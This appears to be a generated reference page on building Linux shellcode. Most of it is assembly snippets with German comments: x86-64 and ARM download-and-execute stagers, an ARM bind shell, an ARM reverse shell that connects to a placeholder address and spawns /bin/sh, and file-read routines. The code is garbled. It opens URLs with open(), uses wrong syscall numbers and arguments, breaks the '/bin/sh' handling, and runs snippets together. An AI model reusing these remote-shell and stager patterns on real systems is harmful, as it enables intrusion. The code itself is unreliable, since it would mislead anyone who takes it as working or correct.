Why this topic matters
Shell-Codes/Payloads Build Your Own (Linux Shellcoding) matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.
This brief treats shell-codes/payloads build your own (linux shellcoding) as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.
Core coverage
The points below capture the main workflows, concepts, tools and operator decisions associated with shell-codes/payloads build your own (linux shellcoding).
- Shellcoding theory
- Generating shellcode with metasploit
- Building shellcode with assembly
- Shellcode assembler
- Compiler script
- Hex converter
- Building shellcode in c
- C shellcode
- Syscall table
- Exit shellcode in assembly
Commands and snippets
section .text global _start _start: ; URL der herunterzuladenden Datei mov rdi, url ; Pfad, in dem die Datei gespeichert werden soll mov rsi, ziel_pfad ; Herunterladen der Datei xor rdx, rdx ; Null-terminierte Zeichenkette mov rax, 2 ; system call number for open syscall ; Datei erstellen oder öffnen mov rdi, rax ; file descriptor mov rdx, 4096 ; Puffergröße mov rsi, buffer xor rax, rax ; Datei lesen syscall ; prepare a memory region for shellcode mov rdi, rsp ; pointer to the stack sub rdi, 4096 ; Verschieben um 4096 Bytes mov rsi, buffer mov rdx, rax ; Länge des gelesenen Shellcodes mov rax, 9 ; system call number for mmap xor r10, r10 ; Flags (MAP_PRIVATE | MAP_ANONYMOUS) xor r8, r8 ; Datei-Deskriptor (ignoriert) xor r9, r9 ; Offset in der Datei (ignoriert) syscall ; Shellcode in den Speicher kopieren mov rdi, rax ; Zieladresse mov rsi, buffer mov rdx, rax ; Länge des Shellcodes xor rax, rax ; Datei lesen syscall ; Shellcode ausführen mov rdi, rax ; Shellcode-Adresse xor rax, rax ; Exit-Code 0 call rdi ; Programm beenden xor edi, edi ; Exit-Code 0 mov rax, 60 ; system call number for exit syscall section .data url db "ftp://example.com/deine_datei.txt", 0 ziel_pfad db "/pfad/zur/dein_datei.txt", 0 buffer times 4096 db 0
section .text global _start _start: ; URL der herunterzuladenden Datei mov rdi, url ; Pfad, in dem die Datei gespeichert werden soll mov rsi, ziel_pfad ; Herunterladen der Datei xor rdx, rdx ; Null-terminierte Zeichenkette mov rax, 2 ; system call number for open syscall ; Datei erstellen oder öffnen mov rdi, rax ; file descriptor mov rdx, 4096 ; Puffergröße mov rsi, buffer xor rax, rax ; Datei lesen syscall ; Datei speichern xor rdi, rdi ; file descriptor 0 (standard output) mov rdx, rax ; Anzahl der gelesenen Bytes mov rsi, buffer mov rax, 1 ; system call number for write syscall ; Programm beenden xor edi, edi ; Exit-Code 0 mov rax, 60 ; system call number for exit syscall section .data url db "https://example.com/deine_datei.txt", 0 ziel_pfad db "/pfad/zur/dein_datei.txt", 0 buffer times 4096 db 0
.section .text
.global _start
_start:
// Socket erstellen
mov r7, #2 // socketcall Syscall-Nummer
mov r0, #1 // AF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
eor r2, r2, r2 // Protokolloptionen = 0
mov r8, r2 // Kopie von r2 for späteren Gebrauch
mov r2, #41 // socketcall-Unterfunktion: socket = 41
swi #0 // Syscall ausführen
// Binden des Sockets
mov r7, #2 // socketcall Syscall-Nummer
mov r0, r0 // Socket-file descriptor
ldr r1, =0x02000000 // IP-Adresse = 0.0.0.0 (INADDR_ANY)
ldrh r2, =0x8818 // Portnummer = 8888 (0x22B8)
mov r3, #16 // Adresslänge = 16
mov r8, r3 // Kopie von r3 for späteren Gebrauch
mov r3, #2 // socketcall-Unterfunktion: bind = 2
swi #0 // Syscall ausführen
// Socket in den "Listening"-Modus versetzen
mov r7, #2 // socketcall Syscall-Nummer
mov r0, r0 // Socket-file descriptor
mov r1, r8 // Adresslänge
mov r8, r1 // Kopie von r1 for späteren Gebrauch
mov r1, #4 // socketcall-Unterfunktion: listen = 4
swi #0 // Syscall ausführen
// Akzeptieren der eingehenden Verbindung
mov r7, #2 // socketcall Syscall-Nummer
mov r0, r0 // Socket-file descriptor
ldr r1, =0x00ffff02 // pointer to a 4-byte buffer for the client IP
ldr r2, =0x22 // pointer to a 4-byte buffer for the client port number
mov r3, r8 // Kopie von Adresslänge for späteren Gebrauch
mov r8, r3 // Kopie von r3 for späteren Gebrauch
mov r3, #5 // socketcall-Unterfunktion: accept = 5
swi #0 // Syscall ausführen
// Duplizieren von file descriptors for communication
mov r7, #63 // dup2 Syscall-Nummer
mov r0, r0 // Ursprünglicher file descriptor (Socket)
mov r1, #0 // Ziel-file descriptor (Standard-Eingabe)
swi #0 // Syscall ausführen
mov r0, r0 // Ursprünglicher file descriptor (Socket)
mov r1, #1 // Ziel-file descriptor (Standard-Ausgabe)
swi #0 // Syscall ausführen
mov r0, r0 // Ursprünglicher file descriptor (Socket)
mov r1, #2 // Ziel-file descriptor (Standard-Fehler)
swi #0 // Syscall ausführen
// Ausführen einer Shell
ldr r7, =0x6e69622f // "/bin/sh" in ASCII laden
strb r7, [r0, #7] // Null-Terminator einfügen
mov r7, #11 // execve Syscall-Nummer
mov r0, r0 // Dateiname ("/bin/sh")
eor r1, r1, r1 // argv = NULL
eor r2, r2, r2 // Umgebungsvariable = NULL
swi #0 // Syscall ausführen
// Programm beenden
mov r7, #1 // exit Syscall-Nummer
eor r0, r0, r0 // Exit-Code = 0
swi #0 // Syscall ausführen.section .text
.global _start
_start:
// Socket erstellen
mov r7, #2 // socketcall Syscall-Nummer
mov r0, #2 // AF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
eor r2, r2, r2 // Protokolloptionen = 0
mov r8, r2 // Kopie von r2 for späteren Gebrauch
mov r2, #41 // socketcall-Unterfunktion: socket = 41
swi #0 // Syscall ausführen
mov r4, r0 // Socket-file descriptor speichern
// Verbindung zum Remote-Host herstellen
mov r7, #2 // socketcall Syscall-Nummer
mov r0, r4 // Socket-file descriptor
ldr r1, =0x0101017f // IP-Adresse = 127.1.1.1 (ändere dies entsprechend)
ldrh r2, =0xbb80 // Portnummer = 48000 (ändere dies entsprechend)
mov r3, #16 // Adresslänge = 16
mov r8, r3 // Kopie von r3 for späteren Gebrauch
mov r3, #3 // socketcall-Unterfunktion: connect = 3
swi #0 // Syscall ausführen
// Duplizieren von file descriptors for communication
mov r7, #63 // dup2 Syscall-Nummer
mov r0, r4 // Ursprünglicher file descriptor (Socket)
mov r1, #0 // Ziel-file descriptor (Standard-Eingabe)
swi #0 // Syscall ausführen
mov r0, r4 // Ursprünglicher file descriptor (Socket)
mov r1, #1 // Ziel-file descriptor (Standard-Ausgabe)
swi #0 // Syscall ausführen
mov r0, r4 // Ursprünglicher file descriptor (Socket)
mov r1, #2 // Ziel-file descriptor (Standard-Fehler)
swi #0 // Syscall ausführen
// Ausführen einer Shell
ldr r7, =0x6e69622f // "/bin/sh" in ASCII laden
strb r7, [r0, #7] // Null-Terminator einfügen
mov r7, #11 // execve Syscall-Nummer
mov r0, r0 // Dateiname ("/bin/sh")
eor r1, r1, r1 // argv = NULL
eor r2, r2, r2 // Umgebungsvariable = NULL
swi #0 // Syscall ausführen
// Programm beenden
mov r7, #1 // exit Syscall-Nummer
eor r0, r0, r0 // Exit-Code = 0
swi #0 // Syscall ausführen.section .text .global _start _start: @ URL der herunterzuladenden Datei ldr r0, =url @ Pfad, in dem die Datei gespeichert werden soll ldr r1, =ziel_pfad @ Herunterladen der Datei mov r2, #0 @ Null-terminierte Zeichenkette mov r7, #5 @ system call number for open svc 0 @ Datei erstellen oder öffnen mov r1, r0 @ file descriptor mov r2, #4096 @ Puffergröße ldr r0, =buffer mov r7, #0 @ Datei lesen svc 0 @ prepare a memory region for shellcode mov r1, sp @ pointer to the stack sub r1, #4096 @ Verschieben um 4096 Bytes ldr r2, =buffer mov r3, r0 @ Länge des gelesenen Shellcodes mov r0, #192 @ system call number for mmap mov r7, #0 @ Flags (MAP_PRIVATE | MAP_ANONYMOUS) mov r8, #0 @ Datei-Deskriptor (ignoriert) mov r9, #0 @ Offset in der Datei (ignoriert) svc 0 @ Shellcode in den Speicher kopieren mov r1, r0 @ Zieladresse ldr r2, =buffer mov r3, r0 @ Länge des Shellcodes mov r0, #0 @ Datei lesen svc 0 @ Shellcode ausführen mov r0, r1 @ Shellcode-Adresse mov r7, #0 @ Exit-Code 0 blx r0 @ Programm beenden mov r0, #0 @ Exit-Code 0 mov r7, #1 @ system call number for exit svc 0 .section .data url: .asciz "ftp://example.com/deine_datei.txt" ziel_pfad: .asciz "/pfad/zur/dein_datei.txt" buffer: .space 4096, 0
.section .text
.global _start
_start:
@ URL der herunterzuladenden Datei
ldr r0, =url
@ Pfad, in dem die Datei gespeichert werden soll
ldr r1, =ziel_pfad
@ Herunterladen der Datei
mov r2, #0 @ Null-terminierte Zeichenkette
mov r7, #5 @ system call number for open
swi 0
@ Datei erstellen oder öffnen
mov r1, r0 @ file descriptor
mov r2, #4096 @ Puffergröße
ldr r0, =buffer
mov r7, #0 @ Datei lesen
swi 0
@ Datei speichern
mov r0, #1 @ file descriptor 1 (standard output)
mov r2, r1 @ Anzahl der gelesenen Bytes
ldr r1, =buffer
mov r7, #1 @ system call number for write
swi 0
@ Programm beenden
mov r0, #0 @ Exit-Code 0
mov r7, #1 @ system call number for exit
swi 0
.section .data
url: .asciz "https://example.com/deine_datei.txt"
ziel_pfad: .asciz "/pfad/zur/dein_datei.txt"
buffer: .space 4096, 0section .text
global _start
_start:
; Datei öffnen
mov eax, 5 ; system call number for open
mov ebx, pfad_zur_datei
xor ecx, ecx ; Flags (O_RDONLY)
xor edx, edx ; Zugriffsrechte (ignoriert)
int 0x80
; file descriptor in EBX speichern
mov ebx, eax
; Inhalt der Datei lesen
mov eax, 3 ; system call number for read
mov ecx, ebx ; file descriptor
mov edx, buffer
mov esi, 4096 ; Maximale Länge des zu lesenden Inhalts
int 0x80
; write the contents to standard output
mov eax, 4 ; system call number for write
xor ebx, ebx ; file descriptor 1 (standard output)
mov ecx, buffer
mov edx, eax ; Anzahl der gelesenen Bytes
int 0x80
; Programm beenden
xor ebx, ebx ; Exit-Code 0
mov eax, 1 ; system call number for exit
int 0x80
section .data
pfad_zur_datei db "/pfad/zur/datei.txt", 0
buffer times 4096 db 0Curated public references
- pwntools Documentationdocs.pwntools.com/en/stable/
- gef-legacy.readthedocs.io · Latestgef-legacy.readthedocs.io/en/latest/
- pwndbgpwndbg.re/
- Shell-Stormshell-storm.org/
- Exploit Databaseexploit-db.com/
